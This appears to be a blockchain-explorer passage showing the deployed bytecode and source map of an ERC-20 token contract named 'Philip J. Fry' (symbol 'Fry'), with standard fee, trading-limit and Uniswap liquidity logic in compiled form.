805f190482111561184d5761184d611761565b029392505050565b5f61139660ff8416836117b7565b80820281158282048414176103a2576103a2611761565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118bf575f80fd5b815161139681611693565b5f805f606084860312156118dc575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611905575f80fd5b81518015158114611396575f80fd5b808201808211156103a2576103a2611761565b5f6001820161193857611938611761565b5060010190565b818103818111156103a2576103a2611761565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119b45784516001600160a01b03168352938301939183019160010161198f565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119ef57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220efaa09aca9aadfcdb16e21777a7c5ef139de9d558525df0950eacccbeec247ae64736f6c63430008150033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102db578063a9059cbb14610306578063bf474bed14610325578063c9567bf91461033a578063dd62ed3e1461034e575f80fd5b8063715018a614610263578063751039fc146102775780637d1db4a51461028b5780638da5cb5b146102a05780638f9a55c0146102c6575f80fd5b806323b872dd116100e357806323b872dd146101cb578063313ce567146101ea5780634abd432e1461020557806351bc3c851461021b57806370a082311461022f575f80fd5b806306fdde031461011e578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600d81526c5068696c6970204a2e2046727960981b60208201525b60405161015c9190611648565b60405180910390f35b348015610170575f80fd5b5061018461017f3660046116a7565b610392565b604051901515815260200161015c565b34801561019f575f80fd5b506101a9600f5481565b60405190815260200161015c565b3480156101c2575f80fd5b506101a96103a8565b3480156101d6575f80fd5b506101846101e53660046116d1565b6103c8565b3480156101f5575f80fd5b506040516009815260200161015c565b348015610210575f80fd5b5061021961042f565b005b348015610226575f80fd5b5061021961045b565b34801561023a575f80fd5b506101a961024936600461170f565b6001600160a01b03165f9081526001602052604090205490565b34801561026e575f80fd5b506102196104ac565b348015610282575f80fd5b506102196104e9565b348015610296575f80fd5b506101a9600c5481565b3480156102ab575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102d1575f80fd5b506101a9600d5481565b3480156102e6575f80fd5b5060408051808201909152600381526246727960e81b602082015261014f565b348015610311575f80fd5b506101846103203660046116a7565b61059a565b348015610330575f80fd5b506101a9600e5481565b348015610345575f80fd5b506102196105a6565b348015610359575f80fd5b506101a961036836600461172a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039e338484610950565b5060015b92915050565b5f6103b56009600a611855565b6103c390633b9aca00611863565b905090565b5f6103d4848484610a74565b6104258433610420856040518060600160405280602881526020016119f5602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611014565b610950565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461044e575f80fd5b476104588161104c565b50565b6010546001600160a01b0316336001600160a01b03161461047a575f80fd5b305f9081526001602052604090205480156104985761049881611083565b4780156104a8576104a88161104c565b5050565b5f546001600160a01b031633146104de5760405162461bcd60e51b81526004016104d59061187a565b60405180910390fd5b6104e75f611226565b565b5f546001600160a01b031633146105125760405162461bcd60e51b81526004016104d59061187a565b61051e6009600a611855565b61052c90633b9aca00611863565b600c5561053b6009600a611855565b61054990633b9aca00611863565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105796009600a611855565b61058790633b9aca00611863565b60405190815260200160405180910390a1565b5f61039e338484610a74565b5f546001600160a01b031633146105cf5760405162461bcd60e51b81526004016104d59061187a565b60135460ff16156106225760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d5565b6013805462ff000019166201000017905561066630737a250d5630b4cf539739df2c5dacb4c659f2488d6106586009600a611855565b61042090633b9aca00611863565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106da91906118af565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610739573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075d91906118af565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107cb91906118af565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f8061082c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610892573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108b791906118ca565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af115801561091c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094091906118f5565b506013805460ff19166001179055565b6001600160a01b0383166109b25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d5565b6001600160a01b038216610a135760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ad85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d5565b6001600160a01b038216610b3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d5565b5f8111610b9b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d5565b60135462010000900460ff161580610bba5750601354610100900460ff165b15610bcf57610bca838383611275565b505050565b5f80546001600160a01b03858116911614801590610bfa57505f546001600160a01b03848116911614155b8015610c1457506010546001600160a01b03848116911614155b15610e7957610c456064610c3f600854600b5411610c3457600454610c38565b6006545b8590611318565b9061139d565b6011549091506001600160a01b038581169116148015610c8257506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610ca657506001600160a01b0383165f9081526003602052604090205460ff16155b15610d8c57600c54821115610cfd5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d5565b600d5482610d1f856001600160a01b03165f9081526001602052604090205490565b610d299190611914565b1115610d775760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d5565b600b8054905f610d8683611927565b91905055505b6011546001600160a01b038481169116148015610db257506001600160a01b0384163014155b15610ddf57610ddc6064610c3f600954600b5411610dd257600554610c38565b6007548590611318565b90505b305f90815260016020526040902054601354610100900460ff16158015610e1357506011546001600160a01b038581169116145b8015610e27575060135462010000900460ff165b8015610e345750600e5481115b8015610e435750600a54600b54115b15610e7757610e65610e6084610e5b84600f546113de565b6113de565b611083565b478015610e7557610e754761104c565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610eb657506001600160a01b0383165f9081526003602052604090205460ff165b8015610ecb57506001600160a01b0384163014155b8015610ee057506001600160a01b0383163014155b15610eea57436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610f2a57506001600160a01b0383165f9081526003602052604090205460ff16155b15611002576011546001600160a01b03848116911614610fd0576001600160a01b038084165f908152601560205260409020601154909190811690861603610f985780545f03610f9357600a54600b5410610f855743610f90565b610f9060014361193f565b81555b610fca565b6001600160a01b0385165f90815260156020526040902081541580610fbe575081548154105b15610fc857805482555b505b50611002565b6001600160a01b0384165f9081526015602052604090206014548154610ff5916113f2565b6001820155436002909101555b61100e84848484611433565b50505050565b5f81848411156110375760405162461bcd60e51b81526004016104d59190611648565b505f611043848661193f565b95945050505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104a8573d5f803e3d5ffd5b6013805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110c5576110c5611952565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611135573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061115991906118af565b8160018151811061116c5761116c611952565b60200260200101906001600160a01b031690816001600160a01b0316815250506111ab30737a250d5630b4cf539739df2c5dacb4c659f2488d84610950565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906111ea9085905f90869030904290600401611966565b5f604051808303815f87803b158015611201575f80fd5b505af1158015611213573d5f803e3d5ffd5b50506013805461ff001916905550505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383165f9081526001602052604090205461129790826113f2565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112c5908261145d565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a679085815260200190565b5f825f0361132757505f6103a2565b5f6113328385611863565b90508261133f85836119d5565b146113965760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d5565b9392505050565b5f61139683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114bb565b5f8183116113ec5782611396565b50919050565b5f61139683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611014565b5f61143f8584846114e7565b905061145685858361145187876113f2565b611597565b5050505050565b5f806114698385611914565b9050838110156113965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d5565b5f81836114db5760405162461bcd60e51b81526004016104d59190611648565b505f61104384866119d5565b6010545f9081906001600160a01b03908116908616036115135760125461150e9085611318565b611515565b835b9050821561158f57305f90815260016020526040902054611536908461145d565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115869087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115b990836113f2565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115e7908261145d565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061163a9085815260200190565b60405180910390a350505050565b5f6020808352835180828501525f5b8181101561167357858101830151858201604001528201611657565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610458575f80fd5b5f80604083850312156116b8575f80fd5b82356116c381611693565b946020939093013593505050565b5f805f606084860312156116e3575f80fd5b83356116ee81611693565b925060208401356116fe81611693565b929592945050506040919091013590565b5f6020828403121561171f575f80fd5b813561139681611693565b5f806040838503121561173b575f80fd5b823561174681611693565b9150602083013561175681611693565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117af57815f190482111561179557611795611761565b808516156117a257918102915b93841c939080029061177a565b509250929050565b5f826117c5575060016103a2565b816117d157505f6103a2565b81600181146117e757600281146117f15761180d565b60019150506103a2565b60ff84111561180257611802611761565b50506001821b6103a2565b5060208310610133831016604e8410600b8410161715611830575081810a6103a2565b61183a8383611775565b805f190482111561184d5761184d611761565b029392505050565b5f61139660ff8416836117b7565b80820281158282048414176103a2576103a2611761565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118bf575f80fd5b815161139681611693565b5f805f606084860312156118dc575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611905575f80fd5b81518015158114611396575f80fd5b808201808211156103a2576103a2611761565b5f6001820161193857611938611761565b5060010190565b818103818111156103a2576103a2611761565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119b45784516001600160a01b03168352938301939183019160010161198f565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119ef57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220efaa09aca9aadfcdb16e21777a7c5ef139de9d558525df0950eacccbeec247ae64736f6c63430008150033

Deployed Bytecode Sourcemap

7869:9945:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9903:83;;;;;;;;;;-1:-1:-1;9973:5:0;;;;;;;;;;;;-1:-1:-1;;;9973:5:0;;;;9903:83;;;;;;;:::i;:::-;;;;;;;;10736:161;;;;;;;;;;-1:-1:-1;10736:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10736:161:0;1023:187:1;8990:51:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;8990:51:0;1215:177:1;10180:95:0;;;;;;;;;;;;;:::i;10905:313::-;;;;;;;;;;-1:-1:-1;10905:313:0;;;;;:::i;:::-;;:::i;10089:83::-;;;;;;;;;;-1:-1:-1;10089:83:0;;8723:1;2000:36:1;;1988:2;1973:18;10089:83:0;1858:184:1;17581:191:0;;;;;;;;;;;;;:::i;:::-;;17211:362;;;;;;;;;;;;;:::i;10283:119::-;;;;;;;;;;-1:-1:-1;10283:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;10376:18:0;10349:7;10376:18;;;:9;:18;;;;;;;10283:119;3658:94;;;;;;;;;;;;;:::i;16353:162::-;;;;;;;;;;;;;:::i;8801:54::-;;;;;;;;;;;;;;;;3435:87;;;;;;;;;;-1:-1:-1;3481:7:0;3508:6;3435:87;;-1:-1:-1;;;;;3508:6:0;;;2445:51:1;;2433:2;2418:18;3435:87:0;2299:203:1;8862:56:0;;;;;;;;;;;;;;;;9994:87;;;;;;;;;;-1:-1:-1;10066:7:0;;;;;;;;;;;;-1:-1:-1;;;10066:7:0;;;;9994:87;;10410:167;;;;;;;;;;-1:-1:-1;10410:167:0;;;;;:::i;:::-;;:::i;8925:58::-;;;;;;;;;;;;;;;;16623:580;;;;;;;;;;;;;:::i;10585:143::-;;;;;;;;;;-1:-1:-1;10585:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;10693:18:0;;;10666:7;10693:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10585:143;10736:161;10811:4;10828:39;2191:10;10851:7;10860:6;10828:8;:39::i;:::-;-1:-1:-1;10885:4:0;10736:161;;;;;:::o;10180:95::-;10233:7;8779:13;8723:1;8779:2;:13;:::i;:::-;8766:26;;:10;:26;:::i;:::-;10253:14;;10180:95;:::o;10905:313::-;11003:4;11020:36;11030:6;11038:9;11049:6;11020:9;:36::i;:::-;11067:121;11076:6;2191:10;11098:89;11136:6;11098:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11098:19:0;;;;;;:11;:19;;;;;;;;2191:10;11098:33;;;;;;;;;;:37;:89::i;:::-;11067:8;:121::i;:::-;-1:-1:-1;11206:4:0;10905:313;;;;;:::o;17581:191::-;17649:10;;-1:-1:-1;;;;;17649:10:0;2191;-1:-1:-1;;;;;17635:24:0;;17627:33;;;;;;17700:21;17732:32;17700:21;17732:12;:32::i;:::-;17616:156;17581:191::o;17211:362::-;17277:10;;-1:-1:-1;;;;;17277:10:0;2191;-1:-1:-1;;;;;17261:26:0;;17253:35;;;;;;17340:4;17299:20;10376:18;;;:9;:18;;;;;;17360:16;;17357:77;;17391:30;17408:12;17391:16;:30::i;:::-;17465:21;17500:12;;17497:69;;17529:24;17542:10;17529:12;:24::i;:::-;17242:331;;17211:362::o;3658:94::-;3481:7;3508:6;-1:-1:-1;;;;;3508:6:0;2191:10;3570:23;3562:68;;;;-1:-1:-1;;;3562:68:0;;;;;;;:::i;:::-;;;;;;;;;3723:21:::1;3741:1;3723:9;:21::i;:::-;3658:94::o:0;16353:162::-;3481:7;3508:6;-1:-1:-1;;;;;3508:6:0;2191:10;3570:23;3562:68;;;;-1:-1:-1;;;3562:68:0;;;;;;;:::i;:::-;8779:13:::1;8723:1;8779:2;:13;:::i;:::-;8766:26;::::0;:10:::1;:26;:::i;:::-;16409:12;:21:::0;8779:13:::1;8723:1;8779:2;:13;:::i;:::-;8766:26;::::0;:10:::1;:26;:::i;:::-;16441:14;:23:::0;16480:27:::1;8779:13;8723:1;8779:2;:13;:::i;:::-;8766:26;::::0;:10:::1;:26;:::i;:::-;16480:27;::::0;1361:25:1;;;1349:2;1334:18;16480:27:0::1;;;;;;;16353:162::o:0;10410:167::-;10488:4;10505:42;2191:10;10529:9;10540:6;10505:9;:42::i;16623:580::-;3481:7;3508:6;-1:-1:-1;;;;;3508:6:0;2191:10;3570:23;3562:68;;;;-1:-1:-1;;;3562:68:0;;;;;;;:::i;:::-;16687:11:::1;::::0;::::1;;16686:12;16678:48;;;::::0;-1:-1:-1;;;16678:48:0;;5151:2:1;16678:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;16678:48:0::1;4949:347:1::0;16678:48:0::1;16737:11;:17:::0;;-1:-1:-1;;16737:17:0::1;::::0;::::1;::::0;;16765:58:::1;16782:4;8202:42;8779:13;8723:1;8779:2;:13;:::i;:::-;8766:26;::::0;:10:::1;:26;:::i;16765:58::-;8202:42;-1:-1:-1::0;;;;;16868:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16850:55:0::1;;16914:4;8202:42;-1:-1:-1::0;;;;;16920:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16850:93;::::0;-1:-1:-1;;;;;;16850:93:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;16850:93:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;16850:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16834:13;:109:::0;;-1:-1:-1;;;;;;16834:109:0::1;-1:-1:-1::0;;;;;16834:109:0;;;::::1;::::0;;;::::1;::::0;;17025:4:::1;-1:-1:-1::0;10376:18:0;;;-1:-1:-1;10376:18:0;;;;;;8202:42:::1;::::0;16955:31:::1;::::0;16994:21:::1;::::0;17025:4;17056:1:::1;17058::::0;17060:7:::1;3481::::0;3508:6;-1:-1:-1;;;;;3508:6:0;;3435:87;17060:7:::1;16955:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;16955:129:0;;;-1:-1:-1;;;;;6225:15:1;;;16955:129:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;17068:15:0::1;6439:19:1::0;;;6432:35;6141:19;;16955:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;17102:13:0::1;::::0;17095:71:::1;::::0;-1:-1:-1;;;17095:71:0;;8202:42:::1;17095:71;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;-1:-1:-1;;;;;17102:13:0;;::::1;::::0;-1:-1:-1;17095:29:0::1;::::0;6936:18:1;;17095:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;17178:11:0::1;:17:::0;;-1:-1:-1;;17178:17:0::1;17191:4;17178:17;::::0;;16623:580::o;11489:335::-;-1:-1:-1;;;;;11582:19:0;;11574:68;;;;-1:-1:-1;;;11574:68:0;;7552:2:1;11574:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;11574:68:0;7350:400:1;11574:68:0;-1:-1:-1;;;;;11661:21:0;;11653:68;;;;-1:-1:-1;;;11653:68:0;;7957:2:1;11653:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;11653:68:0;7755:398:1;11653:68:0;-1:-1:-1;;;;;11732:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11784:32;;1361:25:1;;;11784:32:0;;1334:18:1;11784:32:0;;;;;;;;11489:335;;;:::o;11832:2923::-;-1:-1:-1;;;;;11925:18:0;;11917:68;;;;-1:-1:-1;;;11917:68:0;;8360:2:1;11917:68:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:35;8534:19;;11917:68:0;8158:401:1;11917:68:0;-1:-1:-1;;;;;12004:16:0;;11996:64;;;;-1:-1:-1;;;11996:64:0;;8766:2:1;11996:64:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:33;8938:19;;11996:64:0;8564:399:1;11996:64:0;12093:1;12079:11;:15;12071:69;;;;-1:-1:-1;;;12071:69:0;;9170:2:1;12071:69:0;;;9152:21:1;9209:2;9189:18;;;9182:30;9248:34;9228:18;;;9221:62;-1:-1:-1;;;9299:18:1;;;9292:39;9348:19;;12071:69:0;8968:405:1;12071:69:0;12158:11;;;;;;;12156:13;;:22;;-1:-1:-1;12172:6:0;;;;;;;12156:22;12151:115;;;12196:37;12211:4;12217:2;12221:11;12196:14;:37::i;:::-;11832:2923;;;:::o;12151:115::-;12278:17;3508:6;;-1:-1:-1;;;;;12312:15:0;;;3508:6;;12312:15;;;;:32;;-1:-1:-1;3481:7:0;3508:6;-1:-1:-1;;;;;12331:13:0;;;3508:6;;12331:13;;12312:32;:50;;;;-1:-1:-1;12352:10:0;;-1:-1:-1;;;;;12348:14:0;;;12352:10;;12348:14;;12312:50;12308:1217;;;12390:83;12469:3;12390:74;12419:15;;12407:9;;:27;12406:57;;12449:14;;12406:57;;;12436:12;;12406:57;12390:11;;:15;:74::i;:::-;:78;;:83::i;:::-;12502:13;;12378:95;;-1:-1:-1;;;;;;12494:21:0;;;12502:13;;12494:21;:54;;;;-1:-1:-1;;;;;;12519:29:0;;8202:42;12519:29;;12494:54;:72;;;;-1:-1:-1;;;;;;12555:11:0;;;;;;:7;:11;;;;;;;;12553:13;12494:72;12490:312;;;12611:12;;12596:11;:27;;12588:66;;;;-1:-1:-1;;;12588:66:0;;9580:2:1;12588:66:0;;;9562:21:1;9619:2;9599:18;;;9592:30;9658:27;9638:18;;;9631:55;9703:18;;12588:66:0;9378:349:1;12588:66:0;12710:14;;12695:11;12681:13;12691:2;-1:-1:-1;;;;;10376:18:0;10349:7;10376:18;;;:9;:18;;;;;;;10283:119;12681:13;:25;;;;:::i;:::-;:43;;12673:83;;;;-1:-1:-1;;;12673:83:0;;10064:2:1;12673:83:0;;;10046:21:1;10103:2;10083:18;;;10076:30;10142:28;10122:18;;;10115:56;10188:18;;12673:83:0;9862:350:1;12673:83:0;12775:9;:11;;;:9;:11;;;:::i;:::-;;;;;;12490:312;12827:13;;-1:-1:-1;;;;;12821:19:0;;;12827:13;;12821:19;:43;;;;-1:-1:-1;;;;;;12844:20:0;;12859:4;12844:20;;12821:43;12818:179;;;12897:84;12977:3;12897:75;12924:16;;12914:9;;:26;12913:58;;12956:15;;12913:58;;;12942:13;;12897:11;;:15;:75::i;:84::-;12885:96;;12818:179;13062:4;13013:28;10376:18;;;:9;:18;;;;;;13088:6;;;;;;;13087:7;:30;;;;-1:-1:-1;13104:13:0;;-1:-1:-1;;;;;13098:19:0;;;13104:13;;13098:19;13087:30;:45;;;;-1:-1:-1;13121:11:0;;;;;;;13087:45;:89;;;;;13159:17;;13136:20;:40;13087:89;:123;;;;;13192:18;;13180:9;;:30;13087:123;13083:431;;;13231:74;13248:56;13252:11;13265:38;13269:20;13291:11;;13265:3;:38::i;:::-;13248:3;:56::i;:::-;13231:16;:74::i;:::-;13353:21;13397:22;;13393:106;;13444:35;13457:21;13444:12;:35::i;:::-;13212:302;13083:431;12363:1162;12308:1217;-1:-1:-1;;;;;13542:13:0;;;;;;:7;:13;;;;;;;;;:29;;-1:-1:-1;;;;;;13560:11:0;;;;;;:7;:11;;;;;;;;13542:29;13541:68;;;;-1:-1:-1;;;;;;13589:20:0;;13604:4;13589:20;;13541:68;:89;;;;-1:-1:-1;;;;;;13613:17:0;;13625:4;13613:17;;13541:89;13537:163;;;13676:12;13657:16;:31;13537:163;-1:-1:-1;;;;;13716:13:0;;;;;;:7;:13;;;;;;;;13714:15;:32;;;;-1:-1:-1;;;;;;13735:11:0;;;;;;:7;:11;;;;;;;;13733:13;13714:32;13710:980;;;13772:13;;-1:-1:-1;;;;;13766:19:0;;;13772:13;;13766:19;13762:917;;-1:-1:-1;;;;;13839:16:0;;;13807:29;13839:16;;;:12;:16;;;;;13886:13;;13839:16;;13886:13;;;13878:21;;;;13874:544;;13928:21;;;:26;13924:164;;14017:18;;14007:9;;:28;:57;;14052:12;14007:57;;;14036:15;14050:1;14036:12;:15;:::i;:::-;13983:81;;13924:164;13874:544;;;-1:-1:-1;;;;;14172:18:0;;14136:33;14172:18;;;:12;:18;;;;;14217:21;;:26;;:79;;-1:-1:-1;14275:21:0;;14247:25;;:49;14217:79;14213:186;;;14350:25;;14326:49;;14213:186;14113:305;13874:544;13788:645;13762:917;;;-1:-1:-1;;;;;14494:18:0;;14458:33;14494:18;;;:12;:18;;;;;14586:16;;14556:25;;:47;;:29;:47::i;:::-;14531:22;;;:72;14651:12;14622:26;;;;:41;13762:917;14702:45;14717:4;14722:2;14725:11;14737:9;14702:14;:45::i;:::-;11906:2849;11832:2923;;;:::o;4493:190::-;4579:7;4615:12;4607:6;;;;4599:29;;;;-1:-1:-1;;;4599:29:0;;;;;;;;:::i;:::-;-1:-1:-1;4639:9:0;4651:5;4655:1;4651;:5;:::i;:::-;4639:17;4493:190;-1:-1:-1;;;;;4493:190:0:o;16523:92::-;16580:10;;:27;;-1:-1:-1;;;;;16580:10:0;;;;:27;;;;;16600:6;;16580:10;:27;:10;:27;16600:6;16580:10;:27;;;;;;;;;;;;;;;;;;;15862:483;9548:6;:13;;-1:-1:-1;;9548:13:0;;;;;15964:16:::1;::::0;;15978:1:::1;15964:16:::0;;;;;::::1;::::0;;-1:-1:-1;;15964:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;15964:16:0::1;15940:40;;16009:4;15991;15996:1;15991:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;15991:23:0::1;;;-1:-1:-1::0;;;;;15991:23:0::1;;;::::0;::::1;8202:42;-1:-1:-1::0;;;;;16035:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16025:4;16030:1;16025:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;16025:32:0::1;;;-1:-1:-1::0;;;;;16025:32:0::1;;;::::0;::::1;16068:62;16085:4;8202:42;16118:11;16068:8;:62::i;:::-;16141:196;::::0;-1:-1:-1;;;16141:196:0;;8202:42:::1;::::0;16141:66:::1;::::0;:196:::1;::::0;16222:11;;16248:1:::1;::::0;16264:4;;16291::::1;::::0;16311:15:::1;::::0;16141:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;9584:6:0;:14;;-1:-1:-1;;9584:14:0;;;-1:-1:-1;;;;15862:483:0:o;3103:173::-;3159:16;3178:6;;-1:-1:-1;;;;;3195:17:0;;;-1:-1:-1;;;;;;3195:17:0;;;;;;3228:40;;3178:6;;;;;;;3228:40;;3159:16;3228:40;3148:128;3103:173;:::o;11226:255::-;-1:-1:-1;;;;;11334:15:0;;;;;;:9;:15;;;;;;:34;;11355:11;11334:19;:34::i;:::-;-1:-1:-1;;;;;11317:15:0;;;;;;;:9;:15;;;;;;:51;;;;11394:13;;;;;;;:32;;11413:11;11394:17;:32::i;:::-;-1:-1:-1;;;;;11379:13:0;;;;;;;:9;:13;;;;;;;:47;;;;11442:31;;;;;;;;;;11461:11;1361:25:1;;1349:2;1334:18;;1215:177;6281:246:0;6339:7;6363:1;6368;6363:6;6359:47;;-1:-1:-1;6393:1:0;6386:8;;6359:47;6416:9;6428:5;6432:1;6428;:5;:::i